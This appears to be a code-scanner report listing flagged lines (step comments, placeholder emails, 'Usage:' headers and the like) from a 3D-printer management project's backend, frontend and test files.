| LOW | frontend/src/components/SliceModal.tsx | 720 | // Step 1: plate picker for multi-plate 3MF sources. Cancelling closes the | COMMENT |
| LOW⚡ | frontend/src/components/spoolbuddy/DiagnosticModal.tsx | 37 | // Step 1: Queue the diagnostic on the device | COMMENT |
| LOW⚡ | frontend/src/components/spoolbuddy/DiagnosticModal.tsx | 41 | // Step 2: Poll for results with timeout | COMMENT |
| LOW⚡ | frontend/src/__tests__/components/SliceModal.test.tsx | 1042 | // Step 1: pick Plate 2. | COMMENT |
| LOW⚡ | frontend/src/__tests__/components/SliceModal.test.tsx | 1046 | // Step 2: profile dropdowns are now visible. | COMMENT |
| LOW⚡ | frontend/src/__tests__/components/SliceModal.test.tsx | 1049 | // Step 3: submit and verify the plate index made it into the body. | COMMENT |
| LOW⚡ | frontend/src/api/client.ts | 4716 | // Step 1: send a verification code to the user's email (proof of possession) | COMMENT |
| LOW⚡ | frontend/src/api/client.ts | 4719 | // Step 2: confirm with the code received by email | COMMENT |
| LOW | backend/app/core/database.py | 4563 | # Step 1: link old log entries to their archive via print_name + printer_id. | COMMENT |
| LOW | backend/app/core/database.py | 4587 | # Step 2: backfill cost / energy_kwh / energy_cost onto the latest linked | STRING |
| LOW | backend/app/services/ldap_service.py | 395 | # Step 2: Bind as the user to verify password | COMMENT |
| LOW | backend/app/services/spoolbuddy_ssh.py | 255 | # Step 1: Test SSH connectivity | COMMENT |
| LOW | backend/app/services/spoolbuddy_ssh.py | 284 | # Step 2: Git fetch | COMMENT |
| LOW | backend/app/services/spoolbuddy_ssh.py | 297 | # Step 3: Git checkout + reset | COMMENT |
| LOW | backend/app/services/spoolbuddy_ssh.py | 310 | # Step 4: Install dependencies | COMMENT |
| LOW | backend/app/services/spoolbuddy_ssh.py | 323 | # Step 5: Restart daemon | COMMENT |
| LOW⚡ | backend/app/services/spoolbuddy_ssh.py | 335 | # Step 6: Clear browser cache and restart kiosk | COMMENT |
| LOW⚡ | backend/tests/unit/services/test_bambu_mqtt.py | 4998 | # Step 1: Stale detection triggers | COMMENT |
| LOW⚡ | backend/tests/unit/services/test_bambu_mqtt.py | 5002 | # Step 2: Paho fires disconnect callback (from socket close) | COMMENT |
| LOW⚡ | backend/tests/unit/services/test_bambu_mqtt.py | 5007 | # Step 3: Paho reconnects | COMMENT |
| LOW | backend/tests/unit/services/test_bambu_mqtt.py | 3322 | # Step 1: Right extruder loads AMS 0 slot 0 | COMMENT |
| LOW | backend/tests/unit/services/test_bambu_mqtt.py | 3334 | # Step 2: Switch to left, load AMS HT | COMMENT |
| LOW | backend/tests/unit/services/test_bambu_mqtt.py | 3347 | # Step 3: Switch back to right, load AMS 0 slot 2 | COMMENT |
| LOW | backend/tests/unit/services/test_bambu_mqtt.py | 3360 | # Step 4: Unload | COMMENT |
| LOW | backend/tests/unit/services/test_smart_plug_manager.py | 595 | # Step 1: Print starts — plug turns on | COMMENT |
| LOW | backend/tests/unit/services/test_smart_plug_manager.py | 610 | # Step 2: Print completes — auto-off is scheduled | COMMENT |
| LOW | backend/tests/unit/services/test_smart_plug_manager.py | 622 | # Step 3: Auto-off executes via _mark_auto_off_executed | COMMENT |
| LOW⚡ | backend/tests/integration/test_mfa_api.py | 2804 | # Step 1: Initial TOTP setup (no active TOTP yet → no code required) | COMMENT |
| LOW⚡ | backend/tests/integration/test_mfa_api.py | 2812 | # Step 2: Enable TOTP with a valid code | COMMENT |
| LOW⚡ | backend/tests/integration/test_mfa_api.py | 2821 | # Step 3: Determine current valid code and its counter | COMMENT |
| LOW⚡ | backend/tests/integration/test_mfa_api.py | 2833 | # Step 4: Pre-set last_totp_counter so this code looks already used | COMMENT |
| LOW⚡ | backend/tests/integration/test_mfa_api.py | 2837 | # Step 5: Attempt setup_totp with the "already used" code → must be rejected | COMMENT |
| LOW⚡ | .github/MAINTAINERS.md | 9 | ### Step 1: Basic Settings | COMMENT |
| LOW⚡ | .github/MAINTAINERS.md | 16 | ### Step 2: Bypass List (optional) | COMMENT |
| LOW⚡ | .github/MAINTAINERS.md | 21 | ### Step 3: Target Branches | COMMENT |
| LOW⚡ | .github/MAINTAINERS.md | 25 | ### Step 4: Branch Rules | COMMENT |
| LOW⚡ | spoolbuddy/daemon/nau7802.py | 96 | # Step 1: Reset (set RR=1, then RR=0) | COMMENT |
| LOW⚡ | spoolbuddy/daemon/nau7802.py | 103 | # Step 2: Power up digital (PUD=1 auto-starts AD conversion) | COMMENT |
| LOW⚡ | spoolbuddy/daemon/nau7802.py | 109 | # Step 3: Wait for power-up ready (PUR bit 3) | COMMENT |
| LOW⚡ | spoolbuddy/daemon/nau7802.py | 127 | # Step 4: Configure device | COMMENT |
| LOW⚡ | spoolbuddy/daemon/nau7802.py | 145 | # Step 5: Tuning per application notes | COMMENT |
| LOW⚡ | spoolbuddy/daemon/nau7802.py | 151 | # Step 6: Trigger fresh AD conversion and wait for first result | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | docker-publish-daily-beta.sh | 102 | # Step 1: Read and validate APP_VERSION | COMMENT |
| LOW⚡ | docker-publish-daily-beta.sh | 127 | # Step 2: Build & push Docker images | COMMENT |
| LOW⚡ | docker-publish-daily-beta.sh | 288 | # Step 3: Create/update GitHub release | COMMENT |
| LOW⚡ | docker-publish-daily-beta.sh | 380 | # Step 4: Verify | COMMENT |
| LOW | frontend/src/components/TwoFactorSettings.tsx | 205 | // Step 1: request verification code (proof of possession) | COMMENT |
| LOW | frontend/src/components/TwoFactorSettings.tsx | 222 | // Step 2: confirm with the code received by email | COMMENT |
| LOW | frontend/src/components/SliceModal.tsx | 720 | // Step 1: plate picker for multi-plate 3MF sources. Cancelling closes the | COMMENT |
| LOW⚡ | frontend/src/components/spoolbuddy/DiagnosticModal.tsx | 37 | // Step 1: Queue the diagnostic on the device | COMMENT |
| LOW⚡ | frontend/src/components/spoolbuddy/DiagnosticModal.tsx | 41 | // Step 2: Poll for results with timeout | COMMENT |
| LOW⚡ | frontend/src/__tests__/components/SliceModal.test.tsx | 1042 | // Step 1: pick Plate 2. | COMMENT |
| LOW⚡ | frontend/src/__tests__/components/SliceModal.test.tsx | 1046 | // Step 2: profile dropdowns are now visible. | COMMENT |
| LOW⚡ | frontend/src/__tests__/components/SliceModal.test.tsx | 1049 | // Step 3: submit and verify the plate index made it into the body. | COMMENT |
| LOW⚡ | frontend/src/api/client.ts | 4716 | // Step 1: send a verification code to the user's email (proof of possession) | COMMENT |
| LOW⚡ | frontend/src/api/client.ts | 4719 | // Step 2: confirm with the code received by email | COMMENT |
| LOW | backend/app/core/database.py | 4563 | # Step 1: link old log entries to their archive via print_name + printer_id. | COMMENT |
| LOW | backend/app/core/database.py | 4587 | # Step 2: backfill cost / energy_kwh / energy_cost onto the latest linked | STRING |
| LOW | backend/app/services/ldap_service.py | 395 | # Step 2: Bind as the user to verify password | COMMENT |
| LOW | backend/app/services/spoolbuddy_ssh.py | 255 | # Step 1: Test SSH connectivity | COMMENT |
| LOW | backend/app/services/spoolbuddy_ssh.py | 284 | # Step 2: Git fetch | COMMENT |
| LOW | backend/app/services/spoolbuddy_ssh.py | 297 | # Step 3: Git checkout + reset | COMMENT |
| LOW | backend/app/services/spoolbuddy_ssh.py | 310 | # Step 4: Install dependencies | COMMENT |
| LOW | backend/app/services/spoolbuddy_ssh.py | 323 | # Step 5: Restart daemon | COMMENT |
| LOW⚡ | backend/app/services/spoolbuddy_ssh.py | 335 | # Step 6: Clear browser cache and restart kiosk | COMMENT |
| LOW⚡ | backend/tests/unit/services/test_bambu_mqtt.py | 4998 | # Step 1: Stale detection triggers | COMMENT |
| LOW⚡ | backend/tests/unit/services/test_bambu_mqtt.py | 5002 | # Step 2: Paho fires disconnect callback (from socket close) | COMMENT |
| LOW⚡ | backend/tests/unit/services/test_bambu_mqtt.py | 5007 | # Step 3: Paho reconnects | COMMENT |
| LOW | backend/tests/unit/services/test_bambu_mqtt.py | 3322 | # Step 1: Right extruder loads AMS 0 slot 0 | COMMENT |
| LOW | backend/tests/unit/services/test_bambu_mqtt.py | 3334 | # Step 2: Switch to left, load AMS HT | COMMENT |
| LOW | backend/tests/unit/services/test_bambu_mqtt.py | 3347 | # Step 3: Switch back to right, load AMS 0 slot 2 | COMMENT |
| LOW | backend/tests/unit/services/test_bambu_mqtt.py | 3360 | # Step 4: Unload | COMMENT |
| LOW | backend/tests/unit/services/test_smart_plug_manager.py | 595 | # Step 1: Print starts — plug turns on | COMMENT |
| LOW | backend/tests/unit/services/test_smart_plug_manager.py | 610 | # Step 2: Print completes — auto-off is scheduled | COMMENT |
| LOW | backend/tests/unit/services/test_smart_plug_manager.py | 622 | # Step 3: Auto-off executes via _mark_auto_off_executed | COMMENT |
| LOW⚡ | backend/tests/integration/test_mfa_api.py | 2804 | # Step 1: Initial TOTP setup (no active TOTP yet → no code required) | COMMENT |
| LOW⚡ | backend/tests/integration/test_mfa_api.py | 2812 | # Step 2: Enable TOTP with a valid code | COMMENT |
| LOW⚡ | backend/tests/integration/test_mfa_api.py | 2821 | # Step 3: Determine current valid code and its counter | COMMENT |
| LOW⚡ | backend/tests/integration/test_mfa_api.py | 2833 | # Step 4: Pre-set last_totp_counter so this code looks already used | COMMENT |
| LOW⚡ | backend/tests/integration/test_mfa_api.py | 2837 | # Step 5: Attempt setup_totp with the "already used" code → must be rejected | COMMENT |
| LOW⚡ | spoolbuddy/daemon/nau7802.py | 96 | # Step 1: Reset (set RR=1, then RR=0) | COMMENT |
| LOW⚡ | spoolbuddy/daemon/nau7802.py | 103 | # Step 2: Power up digital (PUD=1 auto-starts AD conversion) | COMMENT |
| LOW⚡ | spoolbuddy/daemon/nau7802.py | 109 | # Step 3: Wait for power-up ready (PUR bit 3) | COMMENT |
| LOW⚡ | spoolbuddy/daemon/nau7802.py | 127 | # Step 4: Configure device | COMMENT |
| LOW⚡ | spoolbuddy/daemon/nau7802.py | 145 | # Step 5: Tuning per application notes | COMMENT |
| LOW⚡ | spoolbuddy/daemon/nau7802.py | 151 | # Step 6: Trigger fresh AD conversion and wait for first result | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | frontend/src/components/CreateUserAdvancedAuthModal.tsx | 163 | placeholder={t('users.form.emailPlaceholder') || 'user@example.com'} | CODE |
| LOW | …ntend/src/__tests__/components/SpoolFormModal.test.tsx | 316 | input.getAttribute('placeholder')?.toLowerCase().includes('spool') | CODE |
| LOW | …ntend/src/__tests__/components/SpoolFormModal.test.tsx | 1600 | .find((input) => input.getAttribute('placeholder')?.toLowerCase().includes('spool')); | CODE |
| LOW | …ntend/src/__tests__/components/LdapUserPicker.test.tsx | 75 | display_name: 'John Doe', | CODE |
| LOW | …nd/src/__tests__/pages/SpoolBuddyWriteTagPage.test.tsx | 343 | .find((el) => el.getAttribute('placeholder')?.toLowerCase().includes('spool')); | CODE |
| LOW | frontend/src/__tests__/pages/SettingsPage.test.tsx | 804 | expect(input).toHaveAttribute('placeholder', '38'); | CODE |
| LOW | frontend/src/__tests__/pages/CloudLoginCaptcha.test.tsx | 28 | await user.type(await screen.findByPlaceholderText('your@email.com'), 'user@example.com'); | CODE |
| LOW | frontend/src/i18n/locales/zh-TW.ts | 3576 | emailPlaceholder: 'user@example.com', | CODE |
| LOW | frontend/src/i18n/locales/pt-BR.ts | 3576 | emailPlaceholder: 'user@example.com', | CODE |
| LOW | frontend/src/i18n/locales/zh-CN.ts | 3576 | emailPlaceholder: 'user@example.com', | CODE |
| LOW | frontend/src/i18n/locales/en.ts | 3619 | emailPlaceholder: 'user@example.com', | CODE |
| LOW | frontend/src/i18n/locales/uk.ts | 3616 | emailPlaceholder: "user@example.com", | CODE |
| LOW | frontend/src/i18n/locales/nl.ts | 3619 | emailPlaceholder: 'user@example.com', | CODE |
| LOW | frontend/src/i18n/locales/ru.ts | 3406 | emailPlaceholder: "user@example.com", | CODE |
| LOW | frontend/src/i18n/locales/ko.ts | 3414 | emailPlaceholder: 'user@example.com', | CODE |
| LOW | frontend/src/i18n/locales/ja.ts | 3589 | emailPlaceholder: 'user@example.com', | CODE |
| LOW | frontend/src/pages/SettingsPage.tsx | 7411 | placeholder={t('users.form.emailPlaceholder') || 'user@example.com'} | CODE |
| LOW | frontend/src/pages/UsersPage.tsx | 697 | placeholder={t('users.form.emailPlaceholder') || 'user@example.com'} | CODE |
| LOW | backend/app/api/routes/mfa.py | 1973 | # and "user@example.com" are treated as the same identity, preventing | COMMENT |
| LOW⚡ | backend/tests/unit/test_cloud_token_expiry.py | 276 | await store_token(db_session, "brand-new-token", "user@example.com", "global", None) | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_token_expiry.py | 284 | (CLOUD_EMAIL_KEY, "user@example.com"), | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_token_expiry.py | 302 | db_session.add(Settings(key=CLOUD_EMAIL_KEY, value="user@example.com")) | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_token_expiry.py | 336 | assert body["email"] == "user@example.com" | CODE |
| LOW | backend/tests/unit/test_db_dialect.py | 240 | assert rows[0] == "user@example.com" | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_captcha_2790.py | 96 | result = await svc.login_request("user@example.com", "pw") | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_captcha_2790.py | 112 | result = await svc.verify_code("user@example.com", "123456") | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_captcha_2790.py | 132 | result = await svc.login_request("user@example.com", "wrong") | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_captcha_2790.py | 145 | await svc.login_request("user@example.com", "pw") | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_captcha_2790.py | 148 | result = await svc.login_request("user@example.com", "pw") | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_captcha_2790.py | 156 | await _service(_response(418, _CAPTCHA_BODY)).login_request("user@example.com", "pw") | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_captcha_2790.py | 159 | result = await second.login_request("user@example.com", "pw") | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_captcha_2790.py | 167 | await svc.login_request("user@example.com", "pw") | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_captcha_2790.py | 171 | result = await svc.login_request("user@example.com", "pw") | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_captcha_2790.py | 182 | await svc.login_request("user@example.com", "pw") | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_captcha_2790.py | 193 | await _service(_response(418, _CAPTCHA_BODY)).login_request("user@example.com", "pw") | CODE |
| LOW⚡ | backend/tests/unit/test_cloud_captcha_2790.py | 197 | result = await cn.login_request("user@example.com", "pw") | CODE |
| LOW⚡ | backend/tests/unit/services/test_ldap_service.py | 610 | displayName="John Doe", | CODE |
| LOW⚡ | backend/tests/unit/services/test_ldap_service.py | 611 | cn="John Doe", | CODE |
| LOW⚡ | backend/tests/unit/services/test_ldap_service.py | 621 | assert results[0].display_name == "John Doe" | CODE |
| LOW⚡ | backend/tests/unit/services/test_ldap_service.py | 713 | displayName="John Doe", | CODE |
| LOW⚡ | backend/tests/unit/services/test_ldap_service.py | 723 | assert info.display_name == "John Doe" | CODE |
| LOW⚡ | backend/tests/unit/services/test_email_service.py | 220 | smtp_username="user@example.com", | CODE |
| LOW | backend/tests/unit/services/test_email_service.py | 233 | assert retrieved.smtp_username == "user@example.com" | CODE |
| LOW⚡ | backend/tests/integration/test_advanced_auth_api.py | 383 | json={"email": "test@test.com"}, | CODE |
| LOW | backend/tests/integration/test_advanced_auth_api.py | 17 | "smtp_username": "test@test.com", | CODE |
| LOW⚡ | backend/tests/integration/test_mfa_api.py | 2083 | json={"email": "user@example.com"}, | CODE |
| LOW⚡ | backend/tests/integration/test_mfa_api.py | 2346 | "smtp_username": "test@test.com", | CODE |
| LOW | backend/tests/integration/test_mfa_api.py | 2489 | fake_token = {"access_token": "acc_tok", "id_token": "fake.id.token"} | CODE |
| LOW | backend/tests/integration/test_mfa_api.py | 2506 | token_resp.json = MagicMock(return_value=fake_token) | CODE |
| LOW | backend/tests/integration/test_mfa_api.py | 2517 | mock_signing_key.key = "fake_key" | CODE |
| LOW | backend/tests/integration/test_mfa_api.py | 3584 | ("preferred_username", True, {"preferred_username": " User@EXAMPLE.COM "}, "user@example.com"), | CODE |
| LOW | backend/tests/integration/test_mfa_api.py | 4100 | claims={"sub": "nonstr-sub-1", "preferred_username": ["user@example.com"]}, | CODE |
| LOW | backend/tests/integration/test_mfa_api.py | 4161 | assert link.provider_email == "user@example.com" | CODE |
| LOW | backend/tests/integration/test_mfa_api.py | 4208 | assert link.provider_email == "user@example.com" | CODE |
| LOW | backend/tests/integration/test_mfa_api.py | 4540 | fake_token = {"access_token": "acc_tok", "id_token": "fake.id.token"} | CODE |
| LOW | backend/tests/integration/test_mfa_api.py | 4556 | token_resp.json = MagicMock(return_value=fake_token) | CODE |
| LOW | backend/tests/integration/test_mfa_api.py | 4567 | mock_signing_key.key = "fake_key" | CODE |
| LOW | backend/tests/integration/test_mfa_api.py | 4686 | claims={"sub": "spaces-sub-1", "preferred_username": "John Doe"}, | CODE |
| LOW | backend/tests/integration/test_mfa_api.py | 4675 | """preferred_username='John Doe' → sanitized to 'JohnDoe'.""" | STRING |
| LOW⚡ | backend/tests/integration/test_cloud_auth.py | 300 | await store_token(db_session, "user-token-abc", "user@example.com", "global", user=user) | CODE |
| 8 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | …ests/unit/test_library_file_type_backfill_migration.py | 0 | force the sqlite branch regardless of test env settings. | STRING |
| HIGH | …nd/tests/unit/test_variant_group_backfill_migration.py | 0 | force the sqlite branch regardless of test env settings. | STRING |
| HIGH | backend/tests/unit/test_vp_mode_rename_migration.py | 0 | force the sqlite branch regardless of test env settings. | STRING |
| HIGH | …s/unit/test_cancellation_cascade_recovery_migration.py | 0 | force the sqlite branch regardless of test env settings. | STRING |
| HIGH | …ckend/tests/unit/test_vp_access_code_sync_migration.py | 0 | force the sqlite branch regardless of test env settings. | STRING |
| HIGH | backend/tests/unit/test_oidc_env_managed_migration.py | 0 | force the sqlite branch regardless of test env settings. | STRING |
| HIGH | …d/tests/unit/test_force_color_plate_scope_migration.py | 0 | force the sqlite branch regardless of test env settings. | STRING |
| HIGH | backend/tests/unit/test_vp_mode_rename_migration.py | 0 | run_migrations touches multiple tables; the full schema must exist. | STRING |
| HIGH | …s/unit/test_cancellation_cascade_recovery_migration.py | 0 | run_migrations touches multiple tables; the full schema must exist. | STRING |
| HIGH | …ckend/tests/unit/test_vp_access_code_sync_migration.py | 0 | run_migrations touches multiple tables; the full schema must exist. | STRING |
| HIGH | backend/tests/integration/test_spoolman_api.py | 0 | create spoolman settings in the database (enabled with url). | STRING |
| HIGH | …ckend/tests/integration/test_spoolman_inventory_api.py | 0 | create spoolman settings in the database (enabled with url). | STRING |
| HIGH | backend/tests/integration/test_spoolbuddy.py | 0 | create spoolman settings in the database (enabled with url). | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | …end/src/__tests__/components/LibraryTagsModal.test.tsx | 94 | // In-use message — substring match keeps the test robust to whitespace. | COMMENT |
| MEDIUM | …end/src/__tests__/pages/InventoryPageLowStock.test.tsx | 420 | // The exact count cell is rendered separately. Easiest robust assertion: | COMMENT |
| MEDIUM | tests/e2e_comprehensive_test.py | 333 | """Run all comprehensive tests.""" | STRING |
| LOW⚡ | backend/app/main.py | 2879 | # nothing to identify, prompting "+ Add" would just create | COMMENT |
| MEDIUM | backend/app/api/routes/system.py | 407 | """Get comprehensive system information.""" | STRING |
| LOW | backend/app/api/routes/spoolman.py | 1289 | # identity → confirm would just create a fresh Spoolman row per push. | COMMENT |
| MEDIUM | backend/app/api/routes/camera.py | 979 | # reinitialize_database() and lets the test harness's patch of | COMMENT |
| MEDIUM | backend/app/api/routes/printers.py | 1158 | # harness's patch of backend.app.core.database.async_session take effect. | COMMENT |
| MEDIUM | backend/app/api/routes/printers.py | 4804 | # the publish is the robust ack signal. | COMMENT |
| LOW | backend/app/api/routes/printers.py | 718 | # No conversion needed - just use the raw value directly | COMMENT |
| MEDIUM | backend/app/services/bambu_mqtt.py | 5387 | # Track RUNNING state for more robust completion detection | COMMENT |
| MEDIUM | backend/app/services/bambu_mqtt.py | 5506 | # Use _was_running flag in addition to _previous_gcode_state for more robust detection | COMMENT |
| LOW | backend/app/services/bambu_mqtt.py | 3378 | # We've already processed the status fields above, so just return if no ams list | COMMENT |
| MEDIUM | backend/tests/unit/test_scheduler_nozzle_mismatch.py | 347 | # cleanup-library harness uses (get_ftp_retry_settings et al. open their own | COMMENT |
| MEDIUM | backend/tests/unit/test_extract_video_last_frame.py | 161 | # test fast — patch only inside the call so we don't affect the harness. | COMMENT |
| LOW⚡ | backend/tests/unit/services/test_archive_service.py | 803 | # When existing is None, just use additional | COMMENT |
| MEDIUM | backend/tests/integration/test_security.py | 117 | # by patching _load_or_generate_key directly. This is more robust than | COMMENT |
| MEDIUM⚡ | …/integration/test_users_groups_privilege_escalation.py | 159 | # Operator attempts to elevate target to admin. | COMMENT |
| MEDIUM | backend/tests/integration/test_ldap_provision.py | 353 | # Operators group is auto-seeded by the test harness — no need to create it. | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | backend/app/api/routes/library.py | 2135 | CODE | |
| LOW | backend/app/api/routes/print_log.py | 51 | CODE | |
| LOW | backend/app/api/routes/cloud.py | 1330 | CODE | |
| LOW | backend/app/api/routes/archives.py | 411 | CODE | |
| LOW | backend/app/api/routes/archives.py | 753 | CODE | |
| LOW | backend/app/api/routes/archives.py | 927 | CODE | |
| LOW | backend/app/api/routes/archives.py | 1026 | CODE | |
| LOW | backend/app/api/routes/archives.py | 3178 | CODE | |
| LOW | backend/app/api/routes/archives.py | 5011 | CODE | |
| LOW | backend/app/api/routes/pipeline_runs.py | 811 | CODE | |
| LOW | backend/app/api/routes/local_backup.py | 62 | CODE | |
| LOW | backend/app/api/routes/camera.py | 1385 | CODE | |
| LOW | backend/app/api/routes/notification_templates.py | 183 | CODE | |
| LOW | backend/app/api/routes/settings.py | 1655 | CODE | |
| LOW | backend/app/api/routes/printers.py | 1019 | CODE | |
| LOW | backend/app/api/routes/printers.py | 2830 | CODE | |
| LOW | backend/app/api/routes/notifications.py | 305 | CODE | |
| LOW | backend/app/services/spoolman.py | 741 | CODE | |
| LOW | backend/app/services/print_log.py | 16 | CODE | |
| LOW | backend/app/services/notification_service.py | 265 | CODE | |
| LOW | backend/app/services/usage_tracker.py | 1329 | CODE | |
| LOW | backend/app/services/export.py | 73 | CODE | |
| LOW | backend/app/services/diagnostic_snapshot.py | 208 | CODE | |
| LOW | backend/app/services/mqtt_smart_plug.py | 337 | CODE | |
| LOW | backend/app/services/bambu_mqtt.py | 1229 | CODE | |
| LOW | backend/app/services/bambu_mqtt.py | 5890 | CODE | |
| LOW | backend/app/services/email_service.py | 89 | CODE | |
| LOW | backend/app/services/archive.py | 1240 | CODE | |
| LOW | backend/app/services/printer_manager.py | 931 | CODE | |
| LOW | backend/app/services/bambu_ftp.py | 1606 | CODE | |
| LOW | backend/app/services/virtual_printer/manager.py | 225 | CODE | |
| LOW | …ts/unit/test_scheduler_class_target_smart_plug_2786.py | 118 | CODE | |
| LOW | backend/tests/unit/services/test_printer_diagnostic.py | 77 | CODE | |
| LOW | backend/tests/integration/test_auth_apikey_rbac.py | 298 | CODE | |
| LOW | spoolbuddy/daemon/api_client.py | 60 | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM⚡ | backend/app/main.py | 7399 | # Register bed cooldown waiter (event-driven via on_bed_temp_update callback). | COMMENT |
| MEDIUM⚡ | backend/app/api/routes/pipeline_runs.py | 367 | # Source resolution + orchestration | COMMENT |
| MEDIUM | backend/app/api/routes/pipeline_runs.py | 594 | # set unconditionally since the orchestration actually got here. | COMMENT |
| MEDIUM | backend/app/api/routes/pipeline_runs.py | 977 | # orchestration single-sourced. The result inherits parent_run_id. Every | COMMENT |
| MEDIUM | backend/app/api/routes/makerworld.py | 374 | # specify one, lives inside ``get_download``. The route only orchestrates | COMMENT |
| MEDIUM | backend/app/services/bambu_mqtt.py | 4813 | # Notify bed temperature updates (used by event-driven bed cooldown monitor) | COMMENT |
| MEDIUM | backend/tests/integration/test_pipeline_runs_api.py | 88 | # Materialise an empty file on disk so the orchestration's path-exists | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | docker-publish.sh | 4 | # Usage: | COMMENT |
| LOW | docker-publish-beta.sh | 4 | # Usage: | COMMENT |
| LOW | test_security.sh | 6 | # Usage: | COMMENT |
| LOW | docker-compose.yml | 5 | # Usage: | COMMENT |
| LOW | docker-publish-daily-beta.sh | 4 | # Usage: | COMMENT |
| LOW | install/install.sh | 6 | # Usage: | COMMENT |
| LOW | install/docker-install.sh | 6 | # Usage: | COMMENT |
| LOW | slicer-api/docker-compose.yml | 15 | # Usage: | COMMENT |
| LOW | spoolbuddy/install/install.sh | 9 | # Usage: | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | backend/app/services/firmware_check.py | 568 | Check if a firmware update is available for a printer. Args: model: Printer model name | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | backend/tests/unit/services/test_camera_fanout.py | 570 | CODE |